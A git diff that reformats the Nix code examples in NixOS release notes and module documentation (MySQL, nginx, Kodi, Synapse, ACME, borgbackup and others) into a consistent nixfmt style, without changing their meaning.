+++ b/nixos/doc/manual/release-notes/rl-2009.section.md
@@ -222,9 +222,9 @@ When upgrading from a previous release, please be aware of the following incompa
 
   ```nix
   {
-  services.mysql.initialScript = pkgs.writeText "mariadb-init.sql" ''
-    ALTER USER root@localhost IDENTIFIED VIA mysql_native_password USING PASSWORD("verysecret");
-  '';
+    services.mysql.initialScript = pkgs.writeText "mariadb-init.sql" ''
+      ALTER USER root@localhost IDENTIFIED VIA mysql_native_password USING PASSWORD("verysecret");
+    '';
   }
   ```
 
@@ -233,17 +233,13 @@ When upgrading from a previous release, please be aware of the following incompa
 - MySQL server is now started with additional systemd sandbox/hardening options for better security. The PrivateTmp, ProtectHome, and ProtectSystem options may be problematic when MySQL is attempting to read from or write to your filesystem anywhere outside of its own state directory, for example when calling `LOAD DATA INFILE or SELECT * INTO OUTFILE`. In this scenario a variant of the following may be required: - allow MySQL to read from /home and /tmp directories when using `LOAD DATA INFILE`
 
   ```nix
-  {
-    systemd.services.mysql.serviceConfig.ProtectHome = lib.mkForce "read-only";
-  }
+  { systemd.services.mysql.serviceConfig.ProtectHome = lib.mkForce "read-only"; }
   ```
 
   \- allow MySQL to write to custom folder `/var/data` when using `SELECT * INTO OUTFILE`, assuming the mysql user has write access to `/var/data`
 
   ```nix
-  {
-    systemd.services.mysql.serviceConfig.ReadWritePaths = [ "/var/data" ];
-  }
+  { systemd.services.mysql.serviceConfig.ReadWritePaths = [ "/var/data" ]; }
   ```
 
   The MySQL service no longer runs its `systemd` service startup script as `root` anymore. A dedicated non `root` super user account is required for operation. This means users with an existing MySQL or MariaDB database server are required to run the following SQL statements as a super admin user before upgrading:
@@ -313,14 +309,16 @@ When upgrading from a previous release, please be aware of the following incompa
   ```nix
   {
     environment.systemPackages = [
-      (pkgs.php.withExtensions
-        ({ all, ... }: with all; [
+      (pkgs.php.withExtensions (
+        { all, ... }:
+        with all;
+        [
           imagick
           opcache
           pdo
           pdo_mysql
-        ])
-      )
+        ]
+      ))
     ];
   }
   ```
@@ -358,17 +356,13 @@ When upgrading from a previous release, please be aware of the following incompa
 - Nginx web server now starting with additional sandbox/hardening options. By default, write access to `/var/log/nginx` and `/var/cache/nginx` is allowed. To allow writing to other folders, use `systemd.services.nginx.serviceConfig.ReadWritePaths`
 
   ```nix
-  {
-    systemd.services.nginx.serviceConfig.ReadWritePaths = [ "/var/www" ];
-  }
+  { systemd.services.nginx.serviceConfig.ReadWritePaths = [ "/var/www" ]; }
   ```
 
   Nginx is also started with the systemd option `ProtectHome = mkDefault true;` which forbids it to read anything from `/home`, `/root` and `/run/user` (see [ProtectHome docs](https://www.freedesktop.org/software/systemd/man/systemd.exec.html#ProtectHome=) for details). If you require serving files from home directories, you may choose to set e.g.
 
   ```nix
-  {
-    systemd.services.nginx.serviceConfig.ProtectHome = "read-only";
-  }
+  { systemd.services.nginx.serviceConfig.ProtectHome = "read-only"; }
   ```
 
 - The NixOS options `nesting.clone` and `nesting.children` have been deleted, and replaced with named [specialisation](options.html#opt-specialisation) configurations.
@@ -525,9 +519,7 @@ When upgrading from a previous release, please be aware of the following incompa
 - The [services.postgresql.dataDir](options.html#opt-services.postgresql.dataDir) option is now set to `"/var/lib/postgresql/${cfg.package.psqlSchema}"` regardless of your [system.stateVersion](options.html#opt-system.stateVersion). Users with an existing postgresql install that have a [system.stateVersion](options.html#opt-system.stateVersion) of `17.03` or below should double check what the value of their [services.postgresql.dataDir](options.html#opt-services.postgresql.dataDir) option is (`/var/db/postgresql`) and then explicitly set this value to maintain compatibility:
 
   ```nix
-  {
-    services.postgresql.dataDir = "/var/db/postgresql";
-  }
+  { services.postgresql.dataDir = "/var/db/postgresql"; }
   ```
 
   The postgresql module now expects there to be a database super user account called `postgres` regardless of your [system.stateVersion](options.html#opt-system.stateVersion). Users with an existing postgresql install that have a [system.stateVersion](options.html#opt-system.stateVersion) of `17.03` or below should run the following SQL statements as a database super admin user before upgrading:
@@ -615,9 +607,7 @@ When upgrading from a previous release, please be aware of the following incompa
   Also, connection to the RPC (Remote Procedure Call) of `transmission-daemon` is now only available on the local network interface by default. Use:
 
   ```nix
-  {
-    services.transmission.settings.rpc-bind-address = "0.0.0.0";
-  }
+  { services.transmission.settings.rpc-bind-address = "0.0.0.0"; }
   ```
 
   to get the previous behavior of listening on all network interfaces.
@@ -639,7 +629,8 @@ When upgrading from a previous release, please be aware of the following incompa
   ```nix
   {
     services.dovecot2.mailboxes = [
-      { name = "Junk";
+      {
+        name = "Junk";
         auto = "create";
       }
     ];
diff --git a/nixos/doc/manual/release-notes/rl-2105.section.md b/nixos/doc/manual/release-notes/rl-2105.section.md
index cae3f8a85011..966adeb9025c 100644
--- a/nixos/doc/manual/release-notes/rl-2105.section.md
+++ b/nixos/doc/manual/release-notes/rl-2105.section.md
@@ -87,17 +87,13 @@ When upgrading from a previous release, please be aware of the following incompa
 - The `mediatomb` service is now using by default the new and maintained fork `gerbera` package instead of the unmaintained `mediatomb` package. If you want to keep the old behavior, you must declare it with:
 
   ```nix
-  {
-    services.mediatomb.package = pkgs.mediatomb;
-  }
+  { services.mediatomb.package = pkgs.mediatomb; }
   ```
 
   One new option `openFirewall` has been introduced which defaults to false. If you relied on the service declaration to add the firewall rules itself before, you should now declare it with:
 
   ```nix
-  {
-    services.mediatomb.openFirewall = true;
-  }
+  { services.mediatomb.openFirewall = true; }
   ```
 
 - xfsprogs was update from 4.19 to 5.11. It now enables reflink support by default on filesystem creation. Support for reflinks was added with an experimental status to kernel 4.9 and deemed stable in kernel 4.16. If you want to be able to mount XFS filesystems created with this release of xfsprogs on kernel releases older than those, you need to format them with `mkfs.xfs -m reflink=0`.
@@ -108,11 +104,10 @@ When upgrading from a previous release, please be aware of the following incompa
   {
     services.uwsgi.user = "root";
     services.uwsgi.group = "root";
-    services.uwsgi.instance =
-      {
-        uid = "uwsgi";
-        gid = "uwsgi";
-      };
+    services.uwsgi.instance = {
+      uid = "uwsgi";
+      gid = "uwsgi";
+    };
   }
   ```
 
@@ -200,10 +195,7 @@ When upgrading from a previous release, please be aware of the following incompa
 - The attribute `mpi` is now consistently used to provide a default, system-wide MPI implementation. The default implementation is openmpi, which has been used before by all derivations affects by this change. Note that all packages that have used `mpi ? null` in the input for optional MPI builds, have been changed to the boolean input parameter `useMpi` to enable building with MPI. Building all packages with `mpich` instead of the default `openmpi` can now be achieved like this:
 
   ```nix
-  self: super:
-  {
-    mpi = super.mpich;
-  }
+  self: super: { mpi = super.mpich; }
   ```
 
 - The Searx module has been updated with the ability to configure the service declaratively and uWSGI integration. The option `services.searx.configFile` has been renamed to [services.searx.settingsFile](options.html#opt-services.searx.settingsFile) for consistency with the new [services.searx.settings](options.html#opt-services.searx.settings). In addition, the `searx` uid and gid reservations have been removed since they were not necessary: the service is now running with a dynamically allocated uid.
@@ -246,9 +238,7 @@ When upgrading from a previous release, please be aware of the following incompa
 
   ```nix
   {
-    environment.systemPackages = [
-      pkgs.kodi
-    ];
+    environment.systemPackages = [ pkgs.kodi ];
 
     nixpkgs.config.kodi = {
       enableInputStreamAdaptive = true;
@@ -262,10 +252,12 @@ When upgrading from a previous release, please be aware of the following incompa
   ```nix
   {
     environment.systemPackages = [
-      (pkgs.kodi.withPackages (p: with p; [
-        inputstream-adaptive
-        vfs-sftp
-      ]))
+      (pkgs.kodi.withPackages (
+        p: with p; [
+          inputstream-adaptive
+          vfs-sftp
+        ]
+      ))
     ];
   }
   ```
@@ -331,8 +323,16 @@ When upgrading from a previous release, please be aware of the following incompa
   ```nix
   {
     services.mediatomb.mediaDirectories = [
-      { path = "/var/lib/mediatomb/pictures"; recursive = false; hidden-files = false; }
-      { path = "/var/lib/mediatomb/audio"; recursive = true; hidden-files = false; }
+      {
+        path = "/var/lib/mediatomb/pictures";
+        recursive = false;
+        hidden-files = false;
+      }
+      {
+        path = "/var/lib/mediatomb/audio";
+        recursive = true;
+        hidden-files = false;
+      }
     ];
   }
   ```
@@ -416,9 +416,7 @@ When upgrading from a previous release, please be aware of the following incompa
 - [Xfce4](https://www.xfce.org/) relies on GIO/GVfs for userspace virtual filesystem access in applications like [thunar](https://docs.xfce.org/xfce/thunar/) and [gigolo](https://docs.xfce.org/apps/gigolo/). For that to work, the gvfs nixos service is enabled by default, and it can be configured with the specific package that provides GVfs. Until now Xfce4 was setting it to use a lighter version of GVfs (without support for samba). To avoid conflicts with other desktop environments this setting has been dropped. Users that still want it should add the following to their system configuration:
 
   ```nix
-  {
-    services.gvfs.package = pkgs.gvfs.override { samba = null; };
-  }
+  { services.gvfs.package = pkgs.gvfs.override { samba = null; }; }
   ```
 
 - The newly enabled `systemd-pstore.service` now automatically evacuates crashdumps and panic logs from the persistent storage to `/var/lib/systemd/pstore`. This prevents NVRAM from filling up, which ensures the latest diagnostic data is always stored and alleviates problems with writing new boot configurations.
diff --git a/nixos/doc/manual/release-notes/rl-2111.section.md b/nixos/doc/manual/release-notes/rl-2111.section.md
index 354ff0f06247..f691062bc52d 100644
--- a/nixos/doc/manual/release-notes/rl-2111.section.md
+++ b/nixos/doc/manual/release-notes/rl-2111.section.md
@@ -252,7 +252,7 @@ In addition to numerous new and upgraded packages, this release has the followin
       isSystemUser = true;
       group = "foo";
     };
-    users.groups.foo = {};
+    users.groups.foo = { };
   }
   ```
 
diff --git a/nixos/doc/manual/release-notes/rl-2205.section.md b/nixos/doc/manual/release-notes/rl-2205.section.md
index c21e36403161..ed583c2541e6 100644
--- a/nixos/doc/manual/release-notes/rl-2205.section.md
+++ b/nixos/doc/manual/release-notes/rl-2205.section.md
@@ -342,19 +342,24 @@ In addition to numerous new and upgraded packages, this release has the followin
       tls_certificate_path = "/var/lib/acme/example.com/fullchain.pem";
       tls_certificate_path = "/var/lib/acme/example.com/fullchain.pem";
 
-      listeners = [ {
-        port = 8448;
-        bind_address = "";
-        type = "http";
-        tls = true;
-        resources = [ {
-          names = [ "client" ];
-          compress = true;
-        } {
-          names = [ "federation" ];
-          compress = false;
-        } ];
-      } ];
+      listeners = [
+        {
+          port = 8448;
+          bind_address = "";
+          type = "http";
+          tls = true;
+          resources = [
+            {
+              names = [ "client" ];
+              compress = true;
+            }
+            {
+              names = [ "federation" ];
+              compress = false;
+            }
+          ];
+        }
+      ];
 
     };
   }
@@ -379,27 +384,30 @@ In addition to numerous new and upgraded packages, this release has the followin
         tls_certificate_path = "/var/lib/acme/example.com/fullchain.pem";
         tls_certificate_path = "/var/lib/acme/example.com/fullchain.pem";
 
-        listeners = [ {
-          port = 8448;
-          bind_addresses = [
-            "::"
-            "0.0.0.0"
-          ];
-          type = "http";
-          tls = true;
-          resources = [ {
-            names = [ "client" ];
-            compress = true;
-          } {
-            names = [ "federation" ];
-            compress = false;
-          } ];
-        } ];
+        listeners = [
+          {
+            port = 8448;
+            bind_addresses = [
+              "::"
+              "0.0.0.0"
+            ];
+            type = "http";
+            tls = true;
+            resources = [
+              {
+                names = [ "client" ];
+                compress = true;
+              }
+              {
+                names = [ "federation" ];
+                compress = false;
+              }
+            ];
+          }
+        ];
       };
 
-      extraConfigFiles = [
-        "/run/keys/matrix-synapse/secrets.yaml"
-      ];
+      extraConfigFiles = [ "/run/keys/matrix-synapse/secrets.yaml" ];
     };
   }
   ```
@@ -469,7 +477,8 @@ In addition to numerous new and upgraded packages, this release has the followin
       frontendUrl = "https://keycloak.example.com/auth";
       database.passwordFile = "/run/keys/db_password";
       extraConfig = {
-        "subsystem=undertow"."server=default-server"."http-listener=default".proxy-address-forwarding = true;
+        "subsystem=undertow"."server=default-server"."http-listener=default".proxy-address-forwarding =
+          true;
       };
     };
   }
diff --git a/nixos/doc/manual/release-notes/rl-2211.section.md b/nixos/doc/manual/release-notes/rl-2211.section.md
index 4630b0987436..db63fd1ce2bf 100644
--- a/nixos/doc/manual/release-notes/rl-2211.section.md
+++ b/nixos/doc/manual/release-notes/rl-2211.section.md
@@ -255,11 +255,7 @@ In addition to numerous new and upgraded packages, this release includes the fol
 - `services.github-runner` and `services.github-runners.<name>` gained the option `serviceOverrides` which allows overriding the systemd `serviceConfig`. If you have been overriding the systemd service configuration (i.e., by defining `systemd.services.github-runner.serviceConfig`), you have to use the `serviceOverrides` option now. Example:
 
   ```nix
-  {
-    services.github-runner.serviceOverrides.SupplementaryGroups = [
-      "docker"
-    ];
-  }
+  { services.github-runner.serviceOverrides.SupplementaryGroups = [ "docker" ]; }
   ```
 
 <!-- To avoid merge conflicts, consider adding your item at an arbitrary place in the list instead. -->
@@ -318,9 +314,7 @@ In addition to numerous new and upgraded packages, this release includes the fol
     of environment variables for Grafana. If you had an expression like
 
     ```nix
-    {
-      services.grafana.extraOptions.SECURITY_ADMIN_USER = "foobar";
-    }
+    { services.grafana.extraOptions.SECURITY_ADMIN_USER = "foobar"; }
     ```
 
     your Grafana instance was running with `GF_SECURITY_ADMIN_USER=foobar` in its environment.
@@ -329,9 +323,7 @@ In addition to numerous new and upgraded packages, this release includes the fol
     to declare
 
     ```nix
-    {
-      services.grafana.settings.security.admin_user = "foobar";
-    }
+    { services.grafana.settings.security.admin_user = "foobar"; }
     ```
 
     instead.
diff --git a/nixos/doc/manual/release-notes/rl-2305.section.md b/nixos/doc/manual/release-notes/rl-2305.section.md
index cae573c3452a..f847e083ff0f 100644
--- a/nixos/doc/manual/release-notes/rl-2305.section.md
+++ b/nixos/doc/manual/release-notes/rl-2305.section.md
@@ -25,9 +25,7 @@ In addition to numerous new and updated packages, this release has the following
 
 - NixOS now defaults to using [nsncd](https://github.com/twosigma/nsncd), a non-caching reimplementation of nscd in Rust, as its NSS lookup dispatcher. This replaces the buggy and deprecated nscd implementation provided through glibc. When you find problems, you can switch back by disabling it:
   ```nix
-  {
-    services.nscd.enableNsncd = false;
-  }
+  { services.nscd.enableNsncd = false; }
   ```
 
 - The internal option `boot.bootspec.enable` is now enabled by default because [RFC 0125](https://github.com/NixOS/rfcs/pull/125) was merged. This means you will have a bootspec document called `boot.json` generated for each system and specialisation in the top-level. This is useful to enable advanced boot use cases in NixOS, such as Secure Boot.
@@ -455,15 +453,17 @@ In addition to numerous new and updated packages, this release has the following
 
   ```nix
   {
-    swapDevices = [ {
-      device = "/dev/disk/by-partlabel/swapspace";
-      randomEncryption = {
-        enable = true;
-        cipher = "aes-xts-plain64";
-        keySize = 512;
-        sectorSize = 4096;
-      };
-    } ];
+    swapDevices = [
+      {
+        device = "/dev/disk/by-partlabel/swapspace";
+        randomEncryption = {
+          enable = true;
+          cipher = "aes-xts-plain64";
+          keySize = 512;
+          sectorSize = 4096;
+        };
+      }
+    ];
   }
   ```
 
@@ -475,9 +475,7 @@ In addition to numerous new and updated packages, this release has the following
 
 - PostgreSQL has added opt-in support for [JIT compilation](https://www.postgresql.org/docs/current/jit-reason.html). It can be enabled like this:
   ```nix
-  {
-    services.postgresql.enableJIT = true;
-  }
+  { services.postgresql.enableJIT = true; }
   ```
 
 - `services.netdata` offers a [`services.netdata.deadlineBeforeStopSec`](#opt-services.netdata.deadlineBeforeStopSec) option which will control the deadline (in seconds) after which systemd will consider your netdata instance as dead if it didn't start in the elapsed time. It is helpful when your netdata instance takes longer to start because of a large amount of state or upgrades.
diff --git a/nixos/doc/manual/release-notes/rl-2311.section.md b/nixos/doc/manual/release-notes/rl-2311.section.md
index b6a702918e8b..920fa9862cc7 100644
--- a/nixos/doc/manual/release-notes/rl-2311.section.md
+++ b/nixos/doc/manual/release-notes/rl-2311.section.md
@@ -256,7 +256,7 @@ Make sure to also check the many updates in the [Nixpkgs library](#sec-release-2
   ```nix
   {
     services.nextcloud.phpOptions = lib.mkForce {
-      /* ... */
+      # ...
     };
   }
   ```
@@ -888,9 +888,7 @@ Make sure to also check the many updates in the [Nixpkgs library](#sec-release-2
   ```nix
   {
     python = python3.override {
-      packageOverrides = self: super: {
-        django = super.django_3;
-      };
+      packageOverrides = self: super: { django = super.django_3; };
     };
   }
   ```
@@ -1237,7 +1235,11 @@ Make sure to also check the many updates in the [Nixpkgs library](#sec-release-2
       enable = true;
       package = pkgs.coredns.override {
         externalPlugins = [
-          {name = "fanout"; repo = "github.com/networkservicemesh/fanout"; version = "v1.9.1";}
+          {
+            name = "fanout";
+            repo = "github.com/networkservicemesh/fanout";
+            version = "v1.9.1";
+          }
         ];
         vendorHash = "<SRI hash>";
       };
diff --git a/nixos/doc/manual/release-notes/rl-2405.section.md b/nixos/doc/manual/release-notes/rl-2405.section.md
index 799d9eb62a74..5b959dafacd1 100644
--- a/nixos/doc/manual/release-notes/rl-2405.section.md
+++ b/nixos/doc/manual/release-notes/rl-2405.section.md
@@ -37,7 +37,8 @@ In addition to numerous new and upgraded packages, this release has the followin
   which can now be replaced via an opt-in mechanism. To make your system
   perlless, you can use the new perlless profile:
   ```nix
-  { modulesPath, ... }: {
+  { modulesPath, ... }:
+  {
     imports = [ "${modulesPath}/profiles/perlless.nix" ];
   }
   ```
@@ -244,9 +245,7 @@ The pre-existing `services.ankisyncd` has been marked deprecated and will be dro
 
   ```nix
   {
-    environment.systemPackages = [
-      (azure-cli.withExtensions [ azure-cli.extensions.aks-preview ])
-    ];
+    environment.systemPackages = [ (azure-cli.withExtensions [ azure-cli.extensions.aks-preview ]) ];
   }
   ```
   To make the `azure-cli` immutable and prevent clashes in case `azure-cli` is also installed via other package managers, some configuration files were moved into the derivation.
diff --git a/nixos/doc/manual/release-notes/rl-2411.section.md b/nixos/doc/manual/release-notes/rl-2411.section.md
index 3361b46d5e64..997c0bf1f325 100644
--- a/nixos/doc/manual/release-notes/rl-2411.section.md
+++ b/nixos/doc/manual/release-notes/rl-2411.section.md
@@ -413,11 +413,7 @@
   ```nix
   {
     featureGates = [ "EphemeralContainers" ];
-    extraOpts = pkgs.lib.concatStringsSep " " (
-      [
-        ''--feature-gates="CSIMigration=false"''
-      ]
-    );
+    extraOpts = pkgs.lib.concatStringsSep " " ([ ''--feature-gates="CSIMigration=false"'' ]);
   }
   ```
 
@@ -427,7 +423,7 @@
   {
     featureGates = {
       EphemeralContainers = true;
-      CSIMigration=false;
+      CSIMigration = false;
     };
   }
   ```
@@ -616,7 +612,7 @@
   If you need to upgrade to 24.11 without having completed the migration, consider the security implications of weak password hashes on your user accounts, and add the following to your configuration:
   ```nix
   {
-    services.portunus.package      = pkgs.portunus.override { libxcrypt = pkgs.libxcrypt-legacy; };
+    services.portunus.package = pkgs.portunus.override { libxcrypt = pkgs.libxcrypt-legacy; };
     services.portunus.ldap.package = pkgs.openldap.override { libxcrypt = pkgs.libxcrypt-legacy; };
   }
   ```
@@ -959,24 +955,48 @@ If you set `sound.mediaKeys` in your configuration:
 
 ```nix
 {
-  services.actkbd = let
-    volumeStep = "1%";
-  in {
-    enable = true;
-    bindings = [
-      # "Mute" media key
-      { keys = [ 113 ]; events = [ "key" ];       command = "${alsa-utils}/bin/amixer -q set Master toggle"; }
+  services.actkbd =
+    let
+      volumeStep = "1%";
+    in
+    {
+      enable = true;
+      bindings = [
+        # "Mute" media key
+        {
+          keys = [ 113 ];
+          events = [ "key" ];
+          command = "${alsa-utils}/bin/amixer -q set Master toggle";
+        }
 
-      # "Lower Volume" media key
-      { keys = [ 114 ]; events = [ "key" "rep" ]; command = "${alsa-utils}/bin/amixer -q set Master ${volumeStep}- unmute"; }
+        # "Lower Volume" media key
+        {
+          keys = [ 114 ];
+          events = [
+            "key"
+            "rep"
+          ];
+          command = "${alsa-utils}/bin/amixer -q set Master ${volumeStep}- unmute";
+        }
 
-      # "Raise Volume" media key
-      { keys = [ 115 ]; events = [ "key" "rep" ]; command = "${alsa-utils}/bin/amixer -q set Master ${volumeStep}+ unmute"; }
+        # "Raise Volume" media key
+        {
+          keys = [ 115 ];
+          events = [
+            "key"
+            "rep"
+          ];
+          command = "${alsa-utils}/bin/amixer -q set Master ${volumeStep}+ unmute";
+        }
 
-      # "Mic Mute" media key
-      { keys = [ 190 ]; events = [ "key" ];       command = "${alsa-utils}/bin/amixer -q set Capture toggle"; }
-    ];
-  };
+        # "Mic Mute" media key
+        {
+          keys = [ 190 ];
+          events = [ "key" ];
+          command = "${alsa-utils}/bin/amixer -q set Capture toggle";
+        }
+      ];
+    };
 }
 ```
 
diff --git a/nixos/doc/manual/release-notes/rl-2505.section.md b/nixos/doc/manual/release-notes/rl-2505.section.md
index d97e9a7bf1b2..e47803a2b3d3 100644
--- a/nixos/doc/manual/release-notes/rl-2505.section.md
+++ b/nixos/doc/manual/release-notes/rl-2505.section.md
@@ -463,7 +463,11 @@ Alongside many enhancements to NixOS modules and general system improvements, th
         enable = true;
         localName = "Node 1";
         localAddress = "galera_01";
-        nodeAddresses = [ "galera_01" "galera_02" "galera_03"];
+        nodeAddresses = [
+          "galera_01"
+          "galera_02"
+          "galera_03"
+        ];
       };
     };
   }
diff --git a/nixos/modules/i18n/input-method/default.md b/nixos/modules/i18n/input-method/default.md
index b7312348cd7a..f2d7934f94fb 100644
--- a/nixos/modules/i18n/input-method/default.md
+++ b/nixos/modules/i18n/input-method/default.md
@@ -27,7 +27,11 @@ The following snippet can be used to configure IBus:
   i18n.inputMethod = {
     enable = true;
     type = "ibus";
-    ibus.engines = with pkgs.ibus-engines; [ anthy hangul mozc ];
+    ibus.engines = with pkgs.ibus-engines; [
+      anthy
+      hangul
+      mozc
+    ];
   };
 }
 ```
@@ -54,7 +58,10 @@ Available extra IBus engines are:
 
     ```nix
     {
-      ibus.engines = with pkgs.ibus-engines; [ table table-others ];
+      ibus.engines = with pkgs.ibus-engines; [
+        table
+        table-others
+      ];
     }
     ```
 
@@ -85,7 +92,11 @@ The following snippet can be used to configure Fcitx:
   i18n.inputMethod = {
     enable = true;
     type = "fcitx5";
-    fcitx5.addons = with pkgs; [ fcitx5-mozc fcitx5-hangul fcitx5-m17n ];
+    fcitx5.addons = with pkgs; [
+      fcitx5-mozc
+      fcitx5-hangul
+      fcitx5-m17n
+    ];
   };
 }
 ```
diff --git a/nixos/modules/programs/digitalbitbox/default.md b/nixos/modules/programs/digitalbitbox/default.md
index 5147bb971e3a..0f8d1b8793c3 100644
--- a/nixos/modules/programs/digitalbitbox/default.md
+++ b/nixos/modules/programs/digitalbitbox/default.md
@@ -5,9 +5,7 @@ Digital Bitbox is a hardware wallet and second-factor authenticator.
 The `digitalbitbox` programs module may be installed by setting
 `programs.digitalbitbox` to `true` in a manner similar to
 ```nix
-{
-  programs.digitalbitbox.enable = true;
-}
+{ programs.digitalbitbox.enable = true; }
 ```
 and bundles the `digitalbitbox` package (see [](#sec-digitalbitbox-package)),
 which contains the `dbb-app` and `dbb-cli` binaries, along with the hardware
@@ -24,11 +22,7 @@ For more information, see <https://digitalbitbox.com/start_linux>.
 The binaries, `dbb-app` (a GUI tool) and `dbb-cli` (a CLI tool), are available
 through the `digitalbitbox` package which could be installed as follows:
 ```nix
-{
-  environment.systemPackages = [
-    pkgs.digitalbitbox
-  ];
-}
+{ environment.systemPackages = [ pkgs.digitalbitbox ]; }
 ```
 
 ## Hardware {#sec-digitalbitbox-hardware-module}
@@ -36,9 +30,7 @@ through the `digitalbitbox` package which could be installed as follows:
 The digitalbitbox hardware package enables the udev rules for Digital Bitbox
 devices and may be installed as follows:
 ```nix
-{
-  hardware.digitalbitbox.enable = true;
-}
+{ hardware.digitalbitbox.enable = true; }
 ```
 
 In order to alter the udev rules, one may provide different values for the
@@ -47,9 +39,7 @@ In order to alter the udev rules, one may provide different values for the
 {
   programs.digitalbitbox = {
     enable = true;
-    package = pkgs.digitalbitbox.override {
-      udevRule51 = "something else";
-    };
+    package = pkgs.digitalbitbox.override { udevRule51 = "something else"; };
   };
 }
 ```
diff --git a/nixos/modules/programs/plotinus.md b/nixos/modules/programs/plotinus.md
index 0a2c688c722c..fd43abceb82c 100644
--- a/nixos/modules/programs/plotinus.md
+++ b/nixos/modules/programs/plotinus.md
@@ -13,7 +13,5 @@ palette provides a searchable list of of all menu items in the application.
 To enable Plotinus, add the following to your
 {file}`configuration.nix`:
 ```nix
-{
-  programs.plotinus.enable = true;
-}
+{ programs.plotinus.enable = true; }
 ```
diff --git a/nixos/modules/programs/zsh/oh-my-zsh.md b/nixos/modules/programs/zsh/oh-my-zsh.md
index 7e4a41641eea..992e39cda3f4 100644
--- a/nixos/modules/programs/zsh/oh-my-zsh.md
+++ b/nixos/modules/programs/zsh/oh-my-zsh.md
@@ -13,7 +13,11 @@ configuration format of `oh-my-zsh`.
 {
   programs.zsh.ohMyZsh = {
     enable = true;
-    plugins = [ "git" "python" "man" ];
+    plugins = [
+      "git"
+      "python"
+      "man"
+    ];
     theme = "agnoster";
   };
 }
@@ -34,9 +38,7 @@ scripts.
 
 The module can do this as well:
 ```nix
-{
-  programs.zsh.ohMyZsh.custom = "~/path/to/custom/scripts";
-}
+{ programs.zsh.ohMyZsh.custom = "~/path/to/custom/scripts"; }
 ```
 
 ## Custom environments {#module-programs-oh-my-zsh-environments}
diff --git a/nixos/modules/security/acme/default.md b/nixos/modules/security/acme/default.md
index a6ef2a3fdf18..b3a5f838f897 100644
--- a/nixos/modules/security/acme/default.md
+++ b/nixos/modules/security/acme/default.md
@@ -210,14 +210,20 @@ Nix config. Instead, generate them one time with a systemd service:
 ```nix
 {
   systemd.services.dns-rfc2136-conf = {
-    requiredBy = ["acme-example.com.service" "bind.service"];
-    before = ["acme-example.com.service" "bind.service"];
+    requiredBy = [
+      "acme-example.com.service"
+      "bind.service"
+    ];
+    before = [
+      "acme-example.com.service"
+      "bind.service"
+    ];
     unitConfig = {
       ConditionPathExists = "!/var/lib/secrets/dnskeys.conf";
     };
     serviceConfig = {
       Type = "oneshot";
-      UMask = 0077;
+      UMask = 77;
     };
     path = [ pkgs.bind ];
     script = ''
@@ -312,28 +318,32 @@ can be applied to any service.
 
   # Now you must augment OpenSMTPD's systemd service to load
   # the certificate files.
-  systemd.services.opensmtpd.requires = ["acme-finished-mail.example.com.target"];
-  systemd.services.opensmtpd.serviceConfig.LoadCredential = let
-    certDir = config.security.acme.certs."mail.example.com".directory;
-  in [
-    "cert.pem:${certDir}/cert.pem"
-    "key.pem:${certDir}/key.pem"
-  ];
+  systemd.services.opensmtpd.requires = [ "acme-finished-mail.example.com.target" ];
+  systemd.services.opensmtpd.serviceConfig.LoadCredential =
+    let
+      certDir = config.security.acme.certs."mail.example.com".directory;
+    in
+    [
+      "cert.pem:${certDir}/cert.pem"
+      "key.pem:${certDir}/key.pem"
+    ];
 
   # Finally, configure OpenSMTPD to use these certs.
-  services.opensmtpd = let
-    credsDir = "/run/credentials/opensmtpd.service";
-  in {
-    enable = true;
-    setSendmail = false;
-    serverConfiguration = ''
-      pki mail.example.com cert "${credsDir}/cert.pem"
-      pki mail.example.com key "${credsDir}/key.pem"
-      listen on localhost tls pki mail.example.com
-      action act1 relay host smtp://127.0.0.1:10027
-      match for local action act1
-    '';
-  };
+  services.opensmtpd =
+    let
+      credsDir = "/run/credentials/opensmtpd.service";
+    in
+    {
+      enable = true;
+      setSendmail = false;
+      serverConfiguration = ''
+        pki mail.example.com cert "${credsDir}/cert.pem"
+        pki mail.example.com key "${credsDir}/key.pem"
+        listen on localhost tls pki mail.example.com
+        action act1 relay host smtp://127.0.0.1:10027
+        match for local action act1
+      '';
+    };
 }
 ```
 
diff --git a/nixos/modules/services/backup/borgbackup.md b/nixos/modules/services/backup/borgbackup.md
index 23f0e5c934ed..42ba3cc3799a 100644
--- a/nixos/modules/services/backup/borgbackup.md
+++ b/nixos/modules/services/backup/borgbackup.md
@@ -23,20 +23,23 @@ A complete list of options for the Borgbase module may be found
 A very basic configuration for backing up to a locally accessible directory is:
 ```nix
 {
-    services.borgbackup.jobs = {
-      rootBackup = {
-        paths = "/";
-        exclude = [ "/nix" "/path/to/local/repo" ];
-        repo = "/path/to/local/repo";
-        doInit = true;
-        encryption = {
-          mode = "repokey";
-          passphrase = "secret";
-        };
-        compression = "auto,lzma";
-        startAt = "weekly";
+  services.borgbackup.jobs = {
+    rootBackup = {
+      paths = "/";
+      exclude = [
+        "/nix"
+        "/path/to/local/repo"
+      ];
+      repo = "/path/to/local/repo";
+      doInit = true;
+      encryption = {
+        mode = "repokey";
+        passphrase = "secret";
       };
+      compression = "auto,lzma";
+      startAt = "weekly";
     };
+  };
 }
 ```
 
@@ -64,8 +67,8 @@ Add the following snippet to your NixOS configuration:
     my_borg_repo = {
       authorizedKeys = [
         "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAID78zmOyA+5uPG4Ot0hfAy+sLDPU1L4AiIoRYEIVbbQ/ root@nixos"
-      ] ;
-      path = "/var/lib/my_borg_repo" ;
+      ];
+      path = "/var/lib/my_borg_repo";
     };
   };
 }
@@ -85,12 +88,14 @@ accessible by root
     backupToLocalServer = {
       paths = [ "/etc/nixos" ];
       doInit = true;
-      repo =  "borg@nixos:." ;
+      repo = "borg@nixos:.";
       encryption = {
         mode = "repokey-blake2";
         passCommand = "cat /run/keys/borgbackup_passphrase";
       };
-      environment = { BORG_RSH = "ssh -i /run/keys/id_ed25519_my_borg_repo"; };
+      environment = {
+        BORG_RSH = "ssh -i /run/keys/id_ed25519_my_borg_repo";
+      };
       compression = "auto,lzma";
       startAt = "hourly";
     };
diff --git a/nixos/modules/services/databases/foundationdb.md b/nixos/modules/services/databases/foundationdb.md
index 5e31497ae3cd..73ee6e6b4c38 100644
--- a/nixos/modules/services/databases/foundationdb.md
+++ b/nixos/modules/services/databases/foundationdb.md
@@ -112,9 +112,7 @@ FoundationDB stores all data for all server processes under
 {file}`/var/lib/foundationdb`. You can override this using
 {option}`services.foundationdb.dataDir`, e.g.
 ```nix
-{
-  services.foundationdb.dataDir = "/data/fdb";
-}
+{ services.foundationdb.dataDir = "/data/fdb"; }
 ```
 
 Similarly, logs are stored under {file}`/var/log/foundationdb`
